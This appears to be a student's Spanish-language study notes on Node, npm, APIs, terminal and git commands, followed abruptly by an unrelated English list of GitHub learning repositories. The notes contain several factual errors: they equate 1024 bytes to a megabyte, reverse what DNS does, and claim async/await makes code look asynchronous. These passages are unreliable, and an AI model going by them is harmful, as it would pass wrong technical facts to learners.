**Localhost**
Es la dirección de mi propio computador (http://localhost:8080), también se le conoce como dirección loopback (http://127.0.0.1:8080).
### Npm y paquetes.
Node package manager es un manejador de paquetes de node y gestor de dependencias de proyectos npm. Se compone de:
* Un repositorio de paquetes.
* Un CLI para interactuar con el repo y el proyecto.
#### **Paquetes**
Son módulos distribuidos en forma de librerías que resuelven alguna necesidad de desarrollo.
#### **Scripts**
Son comandos propios que se pueden agregar al package.json para poderlos ejercutar.
Estructura de un proyecto npm
* **node_modules:** Carpeta donde se instalan las dependencias, normalmente está carpeta se agrega al .gitignore.
* **package.json:** Guardan las dependencias y los comandos de node.
* **package-lock.json:** Guarda un snapshot de las dependencias que se instalaron en un determinado momento.
#### **Listado de comandos npm**
```
# inicializar un proyecto
npm init
# instalar un paquete global
npm install -g packageName
# instalar todos las dependencias de un proyecto
npm i
# instalar un nuevo paquete sin agregarlo al package.json
npm install packageName
# instalar un nuevo paquete y agregarlo al package.json
npm install packageName --save
# instalar un paquete como dev dependency
npm install -D packageName
# desinstalar un paquete
npm uninstall packageName
# desintalar un paquete global
npm uninstall -g packageName
# ejecutar comandos custom
npm run myCommand
```
#### Otros gestores de dependencias
* Maven.
* Bower.
* Gradlew.
* Yarn.
#### Tipos de licencias de software
* MIT.
* ISC.
### Node para front y back end.
A continuación se presenta un listado de los framework front y back mas populares de nodeJS.
#### **Frameworks back end**
* [ExpressJS](https://expressjs.com/es/guide/routing.html).
* [Hapi](https://hapi.dev/tutorials/?lang=en_US).
* [Koa](https://devdocs.io/koa/).
* [Fastify](https://www.fastify.io/docs/latest/).
#### **Frameworks front end**
* [Gatsby](https://www.gatsbyjs.com/docs/).
* [EJS](https://ejs.co/#docs).
* [Nuxt](https://nuxtjs.org/docs/get-started/installation).
* [Next](https://nextjs.org/docs).
* [Hbs](https://bluuweb.github.io/node/20-hbs/).
#### **Semantic Versión**
Es un conjunto simple de reglas y requerimientos que dictan cómo asignar e incrementar los números de la versión de un software. Evitan la pérdida de versiones y mejoran la gestión de dependencias.
Dado un número de versión **MAJOR.MINOR.PATCH**, se incrementa:
* La versión **MAJOR** cuando realizas un cambio incompatible en el proyecto.
* La versión **MINOR** cuando añades funcionalidad que compatible con versiones anteriores.
* La versión **PATCH** cuando reparas errores compatibles con versiones anteriores.
### Arquitectura de software.
Es la estructura y forma en que los componentes de software o hardware se distribuyen y relacionan en el stack.
**Arquitecturas comunes**
* Cliente servidor.
* De tres niveles.
* Model View Controller: MVC.
* Dirigida por eventos.
* Microservicios.
* Serverless.
### Stacks de desarrollo web.
Un **stack** es el conjunto de tecnologías utilizadas para construir una aplicación.
#### **Stacks populares**
* LAMP.
* ASP.NET.
* MEAN.
* MERN.
* MEVN.
**Web components**
Encapsular funcionalidad en elementos especificos que sean reutilizables.
**Custom tag**
El nombre de la tag utilizada para un webcomponent. Ejemplos:
* `<my-menu>`
* `<Mymenu>`
#### Lenguajes de programación
* Java.
* JavaScript.
* Php.
* Python.
* Go.
#### Gestores de BD (SQL)
* SQL.
* Postgres.
* Oracle.
* MSSQLServer.
* MariaDB.
* MySQLalg.
#### Gestores de BD (No SQL)
* Mongo.
* DynamoDB.
* Firebase.
* Elasticsearchalg.
#### Servicios de cloud
* Azure.
* AWS.
* Google Cloud.
### Asincronía y Event Loop.
#### **Código síncrono**
Es aquel código donde cada instrucción se ejecuta en orden, línea a línea. Es código no depende de nadie y el event loop lo puede procesar sin detenerse.
#### **Código asíncrono**
Es aquel que tiene instrucciones que depende de algo externo (una api, una BD, escritura de archivos, etc). El event loop no se bloquea con este código y lo manda a formar a la fila de la web api. Cuando el event loop esta libre de tareas no dependientes, empieza a leer la fila ddde la web api y moverlas al queue, de donde comienza a ejecutar las tareas pendientes.
#### **Flujo de ejecución**
Cuando el event loop difiere el código y lo pone en espera, puede causar afectación en el flujo lógico de nuestro código, por ello es importante controlar ese flujo (asincronia) mediante callbacks, promises o async await (esta sintaxis luce como codigo sincrono).
**Ejemplo de operaciones asíncronas**
* Consulta una API.
* Crear archivos.
* Acceso a BD.
#### **Formas de manejar la asíncronia**
- **Callbacks:** Consiste en pasar una función como parámetro y ejecutarla en el momento que lo necesitemos.
- **Promesas:** Se envuelve el código asincrono en el objecto **new Promise**. Se basan en 3 estados: cuándo se lanza la petición (pending) y sus posibles respuestas (resolve y reject).
- **Async await (ES6):** Función con la sugar syntaxis de es6 y simula que el código es asíncrono (por detrás sigue siendo una promesa).
### Comparativa entre Node vs JavaScript
* Ambos se basan en 0 retraso.
* No hay temporizador (setTimeout y setInterval).
* No hay manejo de eventos (eventListener).
* No hay solicitudes Ajax (consumo de API’s).
* Navegadores usan Libevent.
* Node usa Libuv.
### Conceptos de una API.
Application Programming Interface son mecanismos que permiten a dos componentes de software comunicarse entre sí mediante un conjunto de definiciones y protocolos. Comúnmente el formato de intercambio de datos utilizados es JSON o XML.
**XML**
```
`<name>`
`<nombre>`Luke Skywalker `</nombre>`
`<app>`172 `</app>`
`<address>`
`<street></street>`
`<number>`
`<int>`B `</int>`
`<ext>`990 `</ext>`
`</number>`
`</address>`
`</name>`
```
**JSON**
```
{
"name": "Luke Skywalker",
"height": "172",
"address": {
street: '',
number: { int: B, ext: 990 },
}
}
```
#### Conceptos de una API
* **Client:** Es quien realiza la petición.
* **Request:** Petición http conformada por url, params, payload.
* **Url:** Dirección de internet.
* **Payload:** Información que va en el body de la request.
* **Método o verbo:** Es la acción (GET, POST, PUT, PATCH y DELETE) con la que se accede a un endpoint.
* **Recurso:** Es el endpoint al que llegamos en la API.
* **Response:** Respuesta de la API.
* **Server:** Es quien responde la petición.
#### **Listado de protocolos**
* TCP/IP.
* HTTP.
* HTTPS.
* FTP.
* SMTP.
* IMAP.
* POP.
* SSL.
* TLS.
[Listado completo de puertos](https://docs.opencloud.cl/tutoriales/servidores/lista-de-puertos-mas-comunmente)
#### **Listado de status**
**100 Information**
* 100 Continue
**200 Success**
* 200 OK
* 201 Created
* 202 Accepted
* 204 No content
**300 Redirección**
* 304 Not modified
**400 Client Errors**
* 400 Bad request
* 401 Unauthorized
* 403 Forbidden
* 404 Not found
* 405 Not allowed method
* 408 Request timeout
* 409 Conflict
**500 Server Errors**
* 500 Internal server error
* 501 Not implemented
* 503 Service unavailable
* 504 Gate timeout
[Listado completo de estatus http.](https://developer.mozilla.org/es/docs/Web/HTTP/Status)
### Qué es REST y sus principios.
Es una “evolución” de SOAP (servicios web). REST es una interfaz para conectar varios sistemas.
### API Rest.
Es una serie de principios que las API siguen para “volverse” API REST, cuándo cumplen todos los principios, se les conoce como API Restful.
* Client.
* Request.
* Contrato.
* Response.
* Server.
#### **Contrato de un API**
Es un conjunto de acuerdos entre cliente y servidor para establecer la comunicación.
* Interfaz.
* Método.
* Body y parametros (si aplican).
* Estatus de respuesta.
* Formato de intercambio de datos.
### ExpressJS.
[Documentation](https://expressjs.com/es/starter/installing.html).
#### Arquitectura de proyecto Node
```
src
│ index.js # Entry point for application
└───config # Application environment variables and secrets
└───controllers # Express controllers for routes, respond to client requests, call services
└───loaders # Handles all startup processes
└───middlewares # Operations that check or maniuplate request prior to controller utilizing
└───models # Database models
└───routes # Express routes that define API structure
└───services # Encapsulates all business logic
└───test # Tests go here
```
Documentación capa controller.
Documentación de arquitectura node.
**Nombrado de constantes**
1. Si la constante es un valor fijo para comparar (if) o mostrar en pantalla
debe ir en mayuscula.
MXN, USD, PI, MAX_SIZE
2. Si la constante guarda un valor logico q se utiliza pero no muta ni trampoco
es visible o comparable se debe declarar en minuscula.
port
### Deploys.
* Heroku.
* Google App Engine.
* Back4App.
* Linode.
* Digital Ocean.
* Aws.
## Notas adicionales
### **Markdown**
Es un [lenguaje de marcado ligero](https://es.wikipedia.org/wiki/Lenguajes_de_marcas_ligeros "Lenguajes de marcas ligeros") creado por [John Gruber](https://en.wikipedia.org/wiki/John_Gruber "en:John Gruber") y [Aaron Swartz](https://es.wikipedia.org/wiki/Aaron_Swartz "Aaron Swartz") que trata de conseguir la máxima legibilidad y facilidad de publicación tanto en su forma de entrada como de salida, se inspira en convenciones existentes para marcar mensajes de correo electrónico usando texto plano.
**Medidas de almacenamiento**
1024 bytes = 1 megabytes
1024 megabytes = 1 gygabytes
1024 gygabites = 1 terabytes
### Comandos Terminal
El **CMD** es la línea de comandos basada en MS-DOS para windows, mientras que la **terminal** es la línea de comandos de unix/lunix (kernel de mac os y algunas distribuciones linux).
Listado de comando
```
# imprime el path en el que se encuentra
pwd
# moverse entre carpetas
cd
# listar carpetas y archivos que hay en el directorio actual
ls
# crear carpetas
mkdir newFolder
# crear archivos
touch nameFile.txt
# eliminar carpetas
rmdir folderName
# eliminar archivos
rm fileName.txt
# comprobar conexión a internet
ping www.google.com
# limpiar la pantalla
clear
```
### Comandos Git
#### Commits Atómicos
Consiste en realizar un commit por un solo objetivo. Es decir, no mezclar muchas soluciones en el mismo commit.
#### Conventional Commits
Es una especificación sobre como escribir mensajes de confirmación (commits).
**Estructura**
```
[optional scope]: [optional body][optional footer(s)]
```
**Tipos principales**
* feat: Nuevas caracteristicas.
* chore: Cosas que no aportan un req funcional pero posiblemente si un req no funcional.
* fix: Correccion de errores.
* docs: Commits con documentacion o comentarios.
* style: Estructura de carpetas y nombrado.
#### Información del repo
```
# ver estado del working directory y staging area
git status
# ver historial de commits
git log --oneline
```
#### Generar llave ssh
```
# generar ssh key
ssh-keygen
# ver llave p[ublica
cat ~/.ssh/id_rsa.pub
```
#### Hacer un commit
```
# agregar al staging area
git add .
# quitar del staging area
git restore --staged namefile.txt
# hacer un commit al repo local
git commit -m "conventionalCommitScope: mi mensaje"
```
#### Remoto
```
# ver los repos remotos a los que esta conectado el repo local
git remote -v
# bajar cambios
git pull origin branchName
# subir cambios
git push origin branchName
# subir cambios de una rama nueva para el remoto
git push -u origin branchName
# obtener los cambios de una rama remota y cambiarse a esa rama
git fetch && git checkout develop
# bajar cambios de una rama remota a una local (cuando ya existe)
git pull origin branchName
# agregar una direccion remoto (origin)
git remote add origin myUrl
# modificar una direccion remoto (origin)
git remote set-url origin myUrl
```
#### Administración de ramas
```
# ver rama en la que se encuentra el head
git branch
# crea una rama nueva
git branch newBranchName
# cambiarse a una rama con el nombre nombreRama
git checkout branchName
# crear y cambiarse a una nueva rama
git checkout -b newBranchName
# crear y cambiarse a una nueva rama
git switch -c newBranchName
# eliminar una rama
git branch -D branchName
```
#### Otros comandos útiles
```
# Descarta los cambios del stagin y working directory
git reset --hard
# actualiza la cache de git para que tome ciertos cambios (.gitignore)
git rm --cached . r
# actualiza el mensaje del ultimo commit realizado (no debe estar pusheado)
git commit --amend -m "an updated commit message"
# stash: el codigo de working directory y staging area es eliminado temporalmente
git stash
# stash: el codigo de working directory y staging area que fue eliminado se recuperar
git stash pop
```
[Más info](https://www.conventionalcommits.org/en/v1.0.0/)
#### **VSCode como editor de git**
```
git config --global core.editor"visual studio --wait"
git commit
// ir a vscode a escribir el mensaje, una vez escrito guardar y cerrar.
// regresar a la consola a comprobar el commit
```
### Áreas de estudio
#### Arquitectura de software
Modelos de arquitectura, cliente servidor, mvc, eventos, etc.
#### Redes de computadora
Área donde se estudia la comunicación de redes de telecomunicaciones y funcionamiento del internet.
#### Sistemas operativos
Área donde se estudia la estructura de un sistema operativo y todo lo requerido para que opere en el hardware.
#### Testing
Es una área que se encarga de la automatización de pruebas del código.
Las pruebas es un proceso de evaluar un producto, mediante exploración y experimentación.
Entre menos entendemos un producto, tendrá mayores errores.
**Motivos para probar**
* Reducir costos.
* Cuidar el prestigio
* Mejoran la calidad de funcionalidad.
* Minimizan la posibilidad de malas experiencias de usuario.
**Por qué no se hacen siempre**
* No son parte de la solución.
* No se entrega evidencia al cliente.
* Pueden ser difíciles de mantener.
* No hay tiempo o conocimiento.
**Metodologías testing**
* TDD.
* BDD.
#### Arquitectura de computadoras
Área de estudio de la arquitectura física de las computadoras.
#### SysAdmin
Sysadmin suele ser el responsable de garantizar el correcto funcionamiento de toda plataforma tecnológica e informática de donde trabaja, trabajando incansablemente para ejecutar las necesarias actividades (implementaciones, actualizaciones o cambios) y mantener la operatividad del negocio.
#### DevOps
DevOps es un marco de trabajo y una filosofía en constante evolución que promueve un mejor desarrollo de aplicaciones en menos tiempo y la rápida publicación de nuevas o revisadas funciones de software o productos para los clientes.
Con DevOps se promueve una comunicación continua más fluida, la colaboración, la integración, la visibilidad y la transparencia entre equipos de desarrollo de aplicaciones (Dev) y sus homólogos en operaciones tecnológicas (Ops).
#### Machine Learning
El machine learning (aprendizaje automático) es una rama de la inteligencia artificial que permite que las máquinas aprendan sin ser expresamente programadas para ello. Una habilidad indispensable para hacer sistemas capaces de identificar patrones entre los datos para hacer predicciones. Esta tecnología está presente en un sinfín de aplicaciones como las recomendaciones de Netflix o Spotify, las respuestas inteligentes de Gmail o el habla de Siri y Alexa.
#### Big Data
Big Data es un término que describe el gran volumen de datos, tanto estructurados como no estructurados, que inundan los negocios cada día. Pero no es la cantidad de datos lo que es importante. Lo que importa con el Big Data es lo que las organizaciones hacen con los datos. Big Data se puede analizar para obtener ideas que conduzcan a mejores decisiones y movimientos de negocios estratégicos.
#### Recursos para estudiar
* [Cheat sheet](https://education.github.com/git-cheat-sheet-education.pdf).
* [La guía sencilla](https://rogerdudler.github.io/git-guide/index.es.html).
* [Learning lab](https://lab.github.com/).
* [Curso de John Mircha node](https://www.youtube.com/watch?v=FeJVdCz_uco&list=PLlrxD0HtieHje-_287YJKhY8tDeSItwtg).
### Herramientas
* [Ip Pública](https://www.cual-es-mi-ip.net/).
* [Gitignore.io](https://www.toptal.com/developers/gitignore/).
* [Coder Runner](https://marketplace.visualstudio.com/items?itemName=formulahendry.code-runner).
* [Office Viewer(Markdown Editor)](https://marketplace.visualstudio.com/items?itemName=cweijan.vscode-office).
* [Aprende Node.js y Express - Curso desde Cero](https://www.youtube.com/watch?v=1hpc70_OoAg).
* Documentación Ofline.
* [Zeal (Windows)](https://zealdocs.org/download.html).
* [Zeal (Linux)](https://zealdocs.org/download.html#linux).
* [Dash (MacOS)](https://kapeli.com/dash).
* [Node.js para backend (en)](https://www.simplilearn.com/tutorials/nodejs-tutorial/nodejs-backend).
* [Mintlify Doc Writer](https://marketplace.visualstudio.com/items?itemName=mintlify.document).
* [Metodo patito de goma](https://www.thebrain.school/metodo-patito-goma/#:~:text=Este%20m%C3%A9todo%2C%20incluso%20con%20entrada,pasaba%20inadvertido%20a%20sus%20ojos.).
### Glosario
- **Sistema operativo:** Es el software que coordina y dirige todos los servicios y aplicaciones que utiliza el usuario en una computadora.
- **Kernel:** El kernel es el núcleo de un sistema operativo y, por tanto, la interfaz (middleware) entre el software y el hardware.
- **Ip:** La dirección IP es una etiqueta numérica, por ejemplo "192.0.10.1" que identifica, de manera lógica y jerárquica, a una interfaz en la red. Existen IP públicas y IP privadas.
- **Dominio:** Es una dirección web compuesta por un nombre de sitio web y una extensión de dominio. Ejemplo: google.com
- **URL:** Es una dirección web compuesta por al menos el protocolo, dominio y ruta.
- **DNS:** Es un tipo de servidor de redes de computadora que en encarga de convertir direcciones web en dominios IP y viceversa. Ejemplo: 8.8.8.8 => www.google.com
- **Cliente:** Es quien solicita información dentro de un sistema informatico.
- **Request:** Es una solicitud de información.
- **Response:** Es la entrega de información de un servidor a un cliente.
- **Servidor:** Es una instancia fisica o lógica que responde peticiones (request).
- **Estándar:** Es un patrón o modelo a seguir, generalmente derivado de un documento o certificación.
- **Buena práctica:** Es un actividad que se ha demostrado que funciona bien y produce buenos resultados, y, por lo tanto, se recomienda como modelo.
- **Path:** Es una ruta o dirección donde se encuentra alojado un recurso en un sistema de archivos. Existen rutas relativas como ../../my-docs o absolutas como C:\users\juan\Documents\tarea\tesis.doc
- **Puerto:** un lugar donde se abre una conexion para acceder a un servicio.
- **Dummy:** Es un dato o elemento de prueba, sirve para simular datos.
|
<div align='center'>
# Awesome Repositories
_A curated list of GitHub Repositories full of FREE Resources._ <br>
  
</div> <br>
> _Pull Requests are being welcomed.Please see the [Contributing Guide](CONTRIBUTING.md) before opening a Pull Request._
## Index
- [API](#api)
- [Artificial Intelligence](#artificial-intelligence)
- [Awesome](#awesome)
- [BackEnd](#backend)
- [Books](#books)
- [Career](#career)
- [CheatSheets](#cheatsheets)
- [Cloud](#cloud)
- [Competitive Programming](#competitive-programming)
- [Courses & Certifications](#courses--certifications)
- [Development](#development)
- [Education](#education)
- [Frameworks](#frameworks)
- [FrontEnd](#frontend)
- [Opportunities & Programs](#opportunities--programs)
- [Programming Languages](#programming-languages)
- [Projects](#projects)
- [Reading List](#reading-list)
- [Security](#security)
- [System Design](#system-design)
- [Web](#web)
### API
| Repository | Description | License |
| --- | --- | --- |
| [GraphQL-Apis](https://github.com/APIs-guru/graphql-apis) | 📜 A collective list of public GraphQL APIs | [MIT](https://github.com/APIs-guru/graphql-apis/blob/master/LICENSE) |
| [Public-Apis](https://github.com/public-apis/public-apis) | A collective list of free APIs | [MIT](https://github.com/public-apis/public-apis/blob/master/LICENSE) |
**[⬆ Back to Index](#index)**
### Artificial Intelligence
| Repository | Description | License |
| --- | --- | --- |
| [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision) | A curated list of awesome computer vision resources | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning) | A curated list of awesome Machine Learning frameworks, libraries and software | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Natural Language Processing](https://github.com/keon/awesome-nlp) | 📖 A curated list of resources dedicated to Natural Language Processing (NLP) | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Pytorch](https://github.com/bharathgs/Awesome-pytorch-list) | A comprehensive list of pytorch related content on github,such as different models,implementations,helper libraries,tutorials etc | No License |
**[⬆ Back to Index](#index)**
### Awesome
| Repository | Description | License |
| --- | --- | --- |
| [Awesome](https://github.com/sindresorhus/awesome) | 😎 Awesome lists about all kinds of interesting topics | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Awesome](https://github.com/awesome-windows/awesome) | 💻 🎉 An awesome & curated list of best applications and tools for **Windows** | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Awesomeness](https://github.com/bayandin/awesome-awesomeness) | A curated list of awesome awesomeness | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
**[⬆ Back to Index](#index)**
### BackEnd
| Repository | Description | License |
| --- | --- | --- |
| [GraphQL](https://github.com/chentsulin/awesome-graphql) | Awesome list of GraphQL | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
**[⬆ Back to Index](#index)**
### Books
| Repository | Description | License |
| --- | --- | --- |
| [Free OReilly Books](https://github.com/mohnkhan/Free-OReilly-Books) | Free O Reilly Books | No License |
| [Free Programming Books](https://github.com/EbookFoundation/free-programming-books) | 📚 Freely available programming books | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [GoBooks](https://github.com/dariubs/GoBooks) | List of Golang books | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [JavaScript](https://github.com/javascript-society/javascript-path) | 📚 List of books to master JavaScript Development 🚀 | No License |
| [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books) | 📚 Books everyone should read | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Python Books](https://github.com/Junnplus/awesome-python-books) | 📚 Directory of Python books | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [TypeScript Books](https://github.com/basarat/typescript-book) | :books: The definitive guide to TypeScript and possibly the best TypeScript book 📖. Free and Open Source 🌹 | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
**[⬆ Back to Index](#index)**
### Career
| Repository | Description | License |
| --- | --- | --- |
| [Become A Full Stack Web Developer](https://github.com/bmorelli25/Become-A-Full-Stack-Web-Developer) | Free resources for learning Full Stack Web Development | [MIT](https://github.com/bmorelli25/Become-A-Full-Stack-Web-Developer/blob/master/LICENSE) |
| [Clean Code JavaScript](https://github.com/ryanmcdermott/clean-code-javascript) | 🛁 Clean Code concepts adapted for JavaScript | [MIT](https://github.com/ryanmcdermott/clean-code-javascript/blob/master/LICENSE) |
| [Coding Interview University](https://github.com/jwasham/coding-interview-university) | A complete computer science study plan to become a software engineer. | [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/) |
| [Computer Science (OSSU)](https://github.com/ossu/computer-science) | 🎓 Path to a free self-taught education in Computer Science! | [MIT](https://github.com/ossu/computer-science/blob/master/LICENSE) |
| [CS Courses](https://github.com/prakhar1989/awesome-courses) | 📚 List of awesome university courses for learning Computer Science! | No License |
| [Developer Roadmap](https://github.com/kamranahmedse/developer-roadmap) | Roadmap to becoming a web developer in 2021 | [Custom](https://github.com/kamranahmedse/developer-roadmap/blob/master/LICENSE) |
| [Easy Application](https://github.com/j-delaney/easy-application) | Over 400 software engineering companies that are easy to apply to | [MIT](https://github.com/j-delaney/easy-application/blob/master/LICENSE) |
| [FrontEnd Developer Interview Questions](https://github.com/h5bp/Front-end-Developer-Interview-Questions) | A list of helpful front-end related questions you can use to interview potential candidates, test yourself or completely ignore | [MIT](https://github.com/h5bp/Front-end-Developer-Interview-Questions/blob/main/LICENSE.md) |
| [Hiring Without Whiteboards](https://github.com/poteto/hiring-without-whiteboards) | ⭐️ Companies that don't have a broken hiring process | [MIT](https://github.com/poteto/hiring-without-whiteboards/blob/master/LICENSE.md) |
| [Interview This](https://github.com/Twipped/InterviewThis) | An open source list of developer questions to ask prospective employers | [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/deed.en_US) |
| [JavaScript Algorithms](https://github.com/trekhleb/javascript-algorithms) | 📝 Algorithms and data structures implemented in JavaScript with explanations and links to further readings | [MIT](https://github.com/trekhleb/javascript-algorithms/blob/master/LICENSE) |
| [Leetcode Patterns](https://github.com/seanprashad/leetcode-patterns) | A curated list of leetcode questions grouped by their common patterns | [GPL-3.0](https://github.com/seanprashad/leetcode-patterns/blob/master/LICENSE.md) |
**[⬆ Back to Index](#index)**
### CheatSheets
| Repository | Description | License |
| --- | --- | --- |
| [Async-JavaScript](https://github.com/frontarm/async-javascript-cheatsheet) | Cheatsheet for promises and async/await. | [MIT](https://github.com/frontarm/async-javascript-cheatsheet/blob/master/LICENSE.md) |
| [Bootstrap 5](https://github.com/themeselection/bootstrap-cheatsheet) | An interactive list of Bootstrap 5 classes, variables, and mixins | [MIT](https://github.com/themeselection/bootstrap-cheatsheet/blob/master/LICENSE.md) |
| [C++](https://github.com/mortennobel/cpp-cheatsheet) | Modern C++ Cheatsheet | No License |
| [Data Science](https://github.com/FavioVazquez/ds-cheatsheets) | List of Data Science Cheatsheets to rule the world | [MIT](https://github.com/FavioVazquez/ds-cheatsheets/blob/master/LICENSE) |
| [Docker](https://github.com/eon01/DockerCheatSheet) | 🐋 Docker Cheat Sheet 🐋 | [MIT](https://github.com/eon01/DockerCheatSheet/blob/master/LICENSE) |
| [Emoji](https://github.com/ikatyang/emoji-cheat-sheet) | A markdown version emoji cheat sheet | [MIT](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/LICENSE) |
| [Git and GitHub](https://github.com/tiimgreen/github-cheat-sheet) | A list of cool features of Git and GitHub. | [MIT](https://github.com/tiimgreen/github-cheat-sheet/blob/master/LICENSE) |
| [Python](https://github.com/gto76/python-cheatsheet) | Comprehensive Python Cheatsheet | No License |
| [Vim](https://github.com/pawelbr/vim-cheatsheet) | Shortcuts that will help you to become an advance VIM user. | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
**[⬆ Back to Index](#index)**
### Cloud
| Repository | Description | License |
| --- | --- | --- |
| [AWS](https://github.com/donnemartin/awesome-aws) | A curated list of awesome Amazon Web Services (AWS) libraries, open source repos, guides, blogs, and other resources. Featuring the Fiery Meter of AWSome. | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
**[⬆ Back to Index](#index)**
### Competitive Programming
| Repository | Description | License |
| --- | --- | --- |
| [ ACM-ICPC Algorithms](https://github.com/matthewsamuel95/ACM-ICPC-Algorithms) | Algorithms used in Competitive Programming | No License |
| [ Awesome Competitive Programming](https://github.com/lnishan/awesome-competitive-programming) | A curated list of awesome Competitive Programming, Algorithm and Data Structure resources | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [ Competitive Code](https://github.com/Vishruth-S/CompetitiveCode) | A repo for interesting Competitive Coding problems | [MIT](https://github.com/Vishruth-S/CompetitiveCode/blob/main/LICENSE) |
| [ Competitive Programming Resources](https://github.com/kunal-kushwaha/Competitive-Programming-Resources) | Competitive Programming & System Design Resources. | [MIT](https://github.com/kunal-kushwaha/Competitive-Programming-Resources/blob/master/LICENSE) |
**[⬆ Back to Index](#index)**
### Courses & Certifications
| Repository | Description | License |
| --- | --- | --- |
| [Awesome learn by playing](https://github.com/lmammino/awesome-learn-by-playing) | A curated list of resources that can allow you to learn programming languages by playing games | [MIT](https://github.com/lmammino/awesome-learn-by-playing/blob/main/LICENSE) |
| [Free Certifications](https://github.com/cloudcommunity/Free-Certifications) | Curated list of free courses & certifications | [MIT](https://github.com/cloudcommunity/Free-Certifications/blob/main/LICENSE) |
| [GCP Training](https://github.com/GoogleCloudPlatform/training-data-analyst) | Labs and demos for courses for GCP Training | [Apache-2.0](https://github.com/GoogleCloudPlatform/training-data-analyst/blob/master/LICENSE) |
**[⬆ Back to Index](#index)**
### Development
| Repository | Description | License |
| --- | --- | --- |
| [Beautiful Docs](https://github.com/PharkMillups/beautiful-docs) | Pointers to useful, well-written, and otherwise beautiful documentation. | No License |
| [Design Resources for Developers](https://github.com/bradtraversy/design-resources-for-developers) | Curated list of design and UI resources from stock photos, web templates, CSS frameworks, UI libraries, tools and much more | [MIT](https://github.com/bradtraversy/design-resources-for-developers/blob/master/LICENSE) |
| [DevYouTubeList](https://github.com/ErikCH/DevYouTubeList) | List of Development YouTube Channels | [MIT](https://github.com/ErikCH/DevYouTubeList/blob/master/LICENSE) |
| [Programming Talks](https://github.com/hellerve/programming-talks) | Awesome & interesting talks about programming | No License |
**[⬆ Back to Index](#index)**
### Education
| Repository | Description | License |
| --- | --- | --- |
| [Math](https://github.com/rossant/awesome-math) | A curated list of awesome mathematics resources | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Project Based Learning](https://github.com/practical-tutorials/project-based-learning) | Curated list of project-based tutorials | [MIT](https://github.com/practical-tutorials/project-based-learning/blob/master/LICENSE.md) |
**[⬆ Back to Index](#index)**
### Frameworks
| Repository | Description | License |
| --- | --- | --- |
| [.NET](https://github.com/quozd/awesome-dotnet) | A collection of awesome .NET libraries, tools, frameworks and software | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [CSS](https://github.com/troxler/awesome-css-frameworks) | List of awesome CSS frameworks | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [Electron](https://github.com/sindresorhus/awesome-electron) | Useful resources for creating apps with Electron | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Laravel](https://github.com/chiraggude/awesome-laravel) | A curated list of bookmarks, packages, tutorials, videos and other cool resources from the Laravel ecosystem | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [NestJS](https://github.com/nestjs/awesome-nestjs) | A curated list of awesome things related to NestJS 😎 | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Vue](https://github.com/vuejs/awesome-vue) | 🎉 A curated list of awesome things related to Vue.js | [MIT](https://github.com/vuejs/awesome-vue/blob/master/LICENSE) |
**[⬆ Back to Index](#index)**
### FrontEnd
| Repository | Description | License |
| --- | --- | --- |
| [Animate CSS](https://github.com/animate-css/animate.css) | 🍿 A cross-browser library of CSS animations. As easy to use as an easy thing | [MIT](https://github.com/animate-css/animate.css/blob/main/LICENSE) |
| [Front End Web Development](https://github.com/RitikPatni/Front-End-Web-Development-Resources) | This repository contains content which will be helpful in your journey as a front-end Web Developer | [MIT](https://github.com/RitikPatni/Front-End-Web-Development-Resources/blob/master/LICENSE) |
| [Front End Dev Bookmarks](https://github.com/RitikPatni/Front-End-Web-Development-Resources) | Manually curated collection of resources for frontend web developers. | [CC-BY-SA-4.0](https://github.com/oz123/awesome-c/blob/master/LICENSE) |
| [HTML5](https://github.com/diegocard/awesome-html5) | 📝 A curated list of awesome HTML5 resources | [MIT](https://github.com/diegocard/awesome-html5/blob/master/LICENSE) |
| [React Components](https://github.com/brillout/awesome-react-components) | Curated List of React Components & Libraries | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
**[⬆ Back to Index](#index)**
### Opportunities & Programs
| Repository | Description | License |
| --- | --- | --- |
| [Community Writer Programs](https://github.com/malgamves/CommunityWriterPrograms) | A list of Developer Community Writer Programs | [MIT](https://github.com/malgamves/CommunityWriterPrograms/blob/master/LICENSE) |
| [List-Of-Open-Source-Internships-Programs](https://github.com/deepanshu1422/List-Of-Open-Source-Internships-Programs) | A curated list of all the open-source internships/Programs | No License |
**[⬆ Back to Index](#index)**
### Programming Languages
| Repository | Description | License |
| --- | --- | --- |
| [C](https://github.com/oz123/awesome-c) | A curated list of awesome C frameworks, libraries, resources and other shiny things. Inspired by all the other awesome-... projects out there | [CC-BY-SA-4.0](https://github.com/oz123/awesome-c/blob/master/LICENSE) |
